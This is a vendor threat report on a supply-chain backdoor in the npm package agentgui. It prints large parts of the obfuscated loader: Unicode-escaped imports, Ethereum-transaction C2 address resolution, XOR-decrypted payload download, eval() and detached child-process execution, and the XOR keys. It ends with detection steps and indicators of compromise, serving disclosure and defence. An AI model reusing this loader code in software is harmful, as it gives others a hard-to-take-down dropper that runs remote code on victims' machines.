Aephix accepted into the Databricks Startup Program
← Research
Threat report Aug 22, 2026

agentgui: supply-chain backdoor resolves C2 addresses from Ethereum wallet transactions

agentgui, a multi-agent coding GUI with 1,110 published versions on npm, carries a supply-chain backdoor appended to database.js after roughly 300 characters of whitespace. The loader uses Unicode-escaped imports and queries public Ethereum RPC endpoints to find the latest transaction from wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. Two IPv4 addresses encoded in the destination of that transaction serve as C2 servers. XOR-encrypted payloads downloaded from the resolved addresses execute in-process via eval() and as a detached child process.

agentgui (v1.0.1127, 1,110 published versions on npm, published by the account lanmower) is a multi-agent coding GUI that wraps Claude Code, Gemini CLI, Kilo CLI, and other AI coding assistants into a unified server with an Electron desktop frontend. The package repository at github.com/AnEntrypoint/agentgui shows sustained development activity across the version history. The latest published version carries a supply-chain backdoor: an obfuscated JavaScript loader appended to database.js after roughly 300 characters of whitespace padding on the same line as the legitimate module export. The loader queries public Ethereum RPC endpoints to find the latest transaction from a specific wallet and extracts two IPv4 addresses from the transaction’s to field. XOR-encrypted payloads downloaded from the resolved addresses execute in-process via eval() and as a detached child process.

The artifact

The package.json lists @anthropic-ai/claude-code, @google/gemini-cli, @kilocode/cli, opencode-ai, better-sqlite3, express, ws, and xstate among its dependencies. The postinstall hook runs scripts/patch-fsbrowse.js, which patches the fsbrowse module for dark-mode support and Windows path handling. The binary entry point bin/gmgui.cjs spawns server.js with bun or node. An Electron wrapper at electron/main.js enables contextIsolation and disables nodeIntegration.

The lib/ directory contains 33 modules with explicit security controls: CSRF guards on HTTP endpoints, terminal session access gated behind both a password and an ENABLE_TERMINAL environment variable, path confinement via confineToRoots(), and shell: false on every child process spawn. API keys read from provider configuration files are masked to the last four characters before reaching the client. The http-handler.js module alone runs 932 lines. The contrast between the security engineering in lib/ and the obfuscated loader in database.js is consistent with a legitimate codebase that was compromised after the fact.

The ccsniff dependency (github:AnEntrypoint/ccsniff#main), by the same author, reads local Claude Code session files from ~/.claude/projects/. It is pinned to a mutable GitHub branch reference rather than a registry version.

The payload

Line 109 of database.js starts with the legitimate export statement export default { queries };. After that statement, roughly 300 characters of whitespace padding fill the remainder of the line before the obfuscated payload begins. In an editor or diff tool that wraps or truncates long lines, the file appears to end at the export.

The first instructions set a campaign identifier and stash Node.js globals so that code executed later via eval() can import modules:

global.i = "A9-2057";
global.r = require;
typeof module === "object" && (global.m = module);

Five core modules are imported through Unicode-escaped strings. The raw source reads:

require("\u0068\u0074\u0074\u0070")                           // http
require("\u0068\u0074\u0074\u0070\u0073")                      // https
require("\u007A\u006C\u0069\u0062")                           // zlib
require("\u0075\u0072\u006C")                                // url
require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073")  // child_process

Header values, event names, and string comparisons use the same encoding throughout the payload. A grep for eval, spawn, http, or child_process returns nothing.

Blockchain C2 resolution

The loader constructs a C2 address from the Ethereum blockchain rather than from a hardcoded domain or IP. Four public Ethereum JSON-RPC endpoints serve as the lookup infrastructure:

EndpointRole
1rpc[.]io/ethEthereum RPC
eth[.]drpc[.]orgEthereum RPC
ethereum-rpc[.]publicnode[.]comEthereum RPC
eth-mainnet[.]public[.]blastapi[.]ioEthereum RPC

The BlockScout API at eth[.]blockscout[.]com/api serves as a fallback for transaction history lookups. All five are legitimate public services.

The wallet address and RPC list are stored in the same obfuscated form. S holds 42 Unicode-escaped characters that resolve to 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a:

const S = "\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033"
        + "\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065"
        + "\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065"
        + "\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066"
        + "\u0031\u0061"
        .toLowerCase();

const R = [...new Set([
  process.env.ETH_RPC_URL,
  // four hardcoded RPC URLs (decoded in the table above)
].filter(Boolean))];

The R array also accepts a custom RPC endpoint through process.env.ETH_RPC_URL, so the loader works in environments where the hardcoded endpoints are blocked.

The loader races requests across the RPC endpoints to find the latest transaction sent from wallet S. The eth_getBlockByNumber and eth_getTransactionCount RPC methods drive a binary search that narrows the block range until it locates the target transaction by nonce. The search starts by rounding the current block number to the nearest 1,000 (B = 1000n) and probing surrounding blocks for a fast match before falling back to the binary search:

const cb = t => [...new Set([
  t - 1n, t, t + 1n, t - B - 1n, t - B, t - B + 1n
].filter(t => t >= 0n))];

// bt() fetches a full block and searches its transactions for S
// ls() runs the binary search using eth_getTransactionCount
// li() falls back to the BlockScout API for transaction history
let e = await fm(cb(n).map(bt));
e || (e = await ls(t).catch(li));

The to field of the matching transaction encodes two IPv4 addresses. Ethereum addresses are 20 bytes, and the loader uses the first 8:

const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ""), "hex");
const ip = b => b[0] + "." + b[1] + "." + b[2] + "." + b[3];
const [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];

Bytes 0 through 3 become IP1, bytes 4 through 7 become IP2. Each byte becomes one octet, so a to address beginning with 0x0a250164 resolves to 10[.]37[.]1[.]100. The adversary rotates C2 servers by sending a new Ethereum transaction from the same wallet to a new address whose first 8 bytes encode the desired IPs. Domain takedowns do not apply because no domain is involved. The transaction itself is immutable on the blockchain, and the wallet can broadcast a replacement at any time.

Stage-2 delivery and execution

The loader downloads two payloads from the resolved IP over HTTP on port 443, bypassing TLS certificate validation by using plain HTTP on the standard HTTPS port. The User-Agent is set to Chrome 131 on Windows 10.

PathXOR keyExecution
/0x/clsq4FZkxX{!h,Sr3=@eval() in-process, then detached child
/0x/lsy-p_>d$0B&@^1aQkDetached child process only

The gc function handles the download and XOR decryption:

function gc(k, u) {
  const b = {
    hostname: u.hostname,
    port: +u.port || 80,
    path: u.pathname + u.search,
    headers: {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        + "AppleWebKit/537.36 (KHTML, like Gecko) "
        + "Chrome/131.0.0.0 Safari/537.36",
      "Sec-V": g._V || 0
    }
  };
  const x = b => {
    const e = k.length;
    for (let t = 0; t < b.length; t++)
      b[t] ^= k.charCodeAt(t % e);
    return b.toString("utf8");
  };
  const h = t => {
    const n = t.headers["x-payload-b64"];
    if (!n) throw new Error("no b64");
    return x(Buffer.from(n, "base64"));
  };
  // q() makes the request, collects the body, XOR-decrypts via x()
  // falls back to decoding the x-payload-b64 header via h()
  return q("GET").catch(() => q("HEAD"));
}

The decryption function x iterates over the response bytes and XORs each byte with the key character at position % key.length. If the response body is empty, the loader reads the x-payload-b64 response header, base64-decodes it, and applies the same XOR. If the GET fails entirely, a HEAD request extracts the payload from the header alone.

The rl function prepends global assignments and runs the decrypted payload through one or two execution paths:

async function rl(t, n, e) {
  try {
    const o = await gc(n, t);
    const r = "global['_V']='" + (g._V || 0) + "';"
      + "global['" + (e ? "_H" : "_t_s") + "']='"
        + (e ? g._H : g._t_s) + "';"
      + "global['" + (e ? "_H2" : "_t_u") + "']='"
        + (e ? g._H2 : g._t_u) + "';"
      + "global['r']=require;global['m']=module;"
      + "var _global=global;";
    e || eval(r + o);
    spawn("node", ["-e", r + o], {
      detached: true,
      stdio: "ignore",
      windowsHide: true
    }).unref();
  } catch (t) {}
}

The third argument e controls the execution mode. The /0x/cls call passes false: the payload runs in-process via eval() first, then spawns a detached child with the same code. The /0x/ls call passes true: only the detached child spawns, eval() is skipped. The detached: true flag and .unref() call detach the child from the parent. The child survives parent exit, does not appear in the parent’s stdio, and on Windows the windowsHide flag suppresses the console window.

The global assignments prepended to each payload carry the campaign identifier, require, module, and the resolved C2 addresses. The cls path receives IP1 on ports 443 and 80 (_t_s, _t_u). The ls path receives both IP1 and IP2 on port 80 (_H, _H2).

The final invocation downloads and runs both payloads sequentially. The XOR keys are Unicode-escaped:

await rl(
  new URL("hxxp://" + o + ":443/0x/cls"),
  "\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B"  // q4FZkxX{
+ "\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040", // !h,Sr3=@
  false
);
await rl(
  new URL("hxxp://" + o + ":443/0x/ls"),
  "\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030"  // y-p_>d$0
+ "\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B", // B&@^1aQk
  true
);

The catch block in rl silently swallows errors, so a network failure does not crash the host application.

database.js line 109 payload after ~300 chars of whitespace queries RPC Ethereum wallet transaction to field encodes two C2 addresses downloads XOR-encrypted payloads /0x/cls eval() + detached child /0x/ls detached child only Aephix
The payload queries Ethereum RPC endpoints to resolve C2 addresses from the wallet's latest transaction, then downloads and executes XOR-encrypted payloads both in-process and as a detached child process.

What a defender can do

Search lockfiles and global installs for agentgui. If the package was installed, check for detached node -e processes that may still be running. The child process spawned by the /0x/ls payload persists independently of the parent and survives logout.

Inspect node_modules/agentgui/database.js for content beyond the export default { queries }; statement on line 109. The payload begins after roughly 300 characters of whitespace on the same line. Standard line-length truncation in many editors hides it.

Monitor the Ethereum wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a for new outbound transactions. Each transaction updates the C2 addresses the loader resolves. The wallet’s transaction history on a block explorer shows the rotation cadence.

Setting ignore-scripts=true in .npmrc blocks the postinstall hook but does not prevent the backdoor from executing. The payload is in database.js rather than in a lifecycle script, so it runs at module import time whenever the application starts.

Where Aephix fits

A line-level review of a 234-file package with 1,110 published versions is the step that catches a payload hidden in whitespace after legitimate code. Every issue of Weekly Sleuth carries analysis at that depth, with the confirmed artifacts, the campaigns they belong to, and their indicators. Aephix Vantage gives you a free cross-ecosystem check before you install.

Indicators of compromise

TypeIndicatorContext
npm packageagentgui (1,110+ versions, v1.0.1127 latest)Compromised multi-agent coding GUI
npm accountlanmower (almagestfraternite[@]gmail[.]com)Package publisher
Payload filedatabase.js line 109Obfuscated loader appended after whitespace padding
Campaign IDA9-2057Set as global.i in the payload
Ethereum wallet0xa322e5f3d311d3080e6f0121063e9adc2490ef1aOutbound transactions encode C2 IPv4 addresses
C2 path/0x/clsXOR-decrypted, eval() in-process + detached child
C2 path/0x/lsXOR-decrypted, detached node child process only
XOR keyq4FZkxX{!h,Sr3=@Decryption key for /0x/cls payload
XOR keyy-p_>d$0B&@^1aQkDecryption key for /0x/ls payload
RPC endpoint1rpc[.]io/ethEthereum RPC used for C2 resolution
RPC endpointeth[.]drpc[.]orgEthereum RPC used for C2 resolution
RPC endpointethereum-rpc[.]publicnode[.]comEthereum RPC used for C2 resolution
RPC endpointeth-mainnet[.]public[.]blastapi[.]ioEthereum RPC used for C2 resolution
API endpointeth[.]blockscout[.]com/apiBlockScout fallback for transaction history
Dependencyccsniff (github:AnEntrypoint/ccsniff#main)Reads Claude Code session files, same author, mutable branch ref
AbsentHardcoded C2 domain or IPAddresses resolved dynamically from blockchain transactions